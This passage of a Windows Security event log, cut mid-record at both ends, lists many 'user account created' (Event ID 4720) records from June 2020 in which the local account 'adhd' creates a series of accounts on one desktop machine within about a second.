Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.8233073Z'/><EventRecordID>4471</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Beau</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1071</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Beau</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Beau - adhd - - - 4720 - 4465 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.7353940Z'/><EventRecordID>4465</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jessica</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1070</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jessica</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jessica - adhd - - - 4720 - 4459 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.6430756Z'/><EventRecordID>4459</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Gerald</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1069</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Gerald</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Gerald - adhd - - - 4720 - 4453 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.5578409Z'/><EventRecordID>4453</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Stephen</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1068</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Stephen</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Stephen - adhd - - - 4720 - 4447 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.4675460Z'/><EventRecordID>4447</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Tiffany</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1067</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Tiffany</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Tiffany - adhd - - - 4720 - 4441 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.3861147Z'/><EventRecordID>4441</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Randy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1066</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Randy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Randy - adhd - - - 4720 - 4435 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.2950906Z'/><EventRecordID>4435</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Patricia</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1065</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Patricia</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Patricia - adhd - - - 4720 - 4429 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.2090981Z'/><EventRecordID>4429</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Heather</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1064</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Heather</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Heather - adhd - - - 4720 - 4423 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.1367413Z'/><EventRecordID>4423</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Henry</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1063</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Henry</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Henry - adhd - - - 4720 - 4417 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.9685727Z'/><EventRecordID>4417</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Juan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1062</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Juan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Juan - adhd - - - 4720 - 4411 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.8846374Z'/><EventRecordID>4411</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Helen</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1061</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Helen</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Helen - adhd - - - 4720 - 4405 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.7970356Z'/><EventRecordID>4405</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Emily</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1060</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Emily</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Emily - adhd - - - 4720 - 4399 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.6982081Z'/><EventRecordID>4399</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Lawrence</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1059</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Lawrence</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Lawrence - adhd - - - 4720 - 4393 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.6236986Z'/><EventRecordID>4393</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Brian</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1058</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Brian</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Brian - adhd - - - 4720 - 4387 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.5417078Z'/><EventRecordID>4387</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Vincent</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1057</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Vincent</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Vincent - adhd - - - 4720 - 4381 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.4510130Z'/><EventRecordID>4381</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Larry</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1056</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data 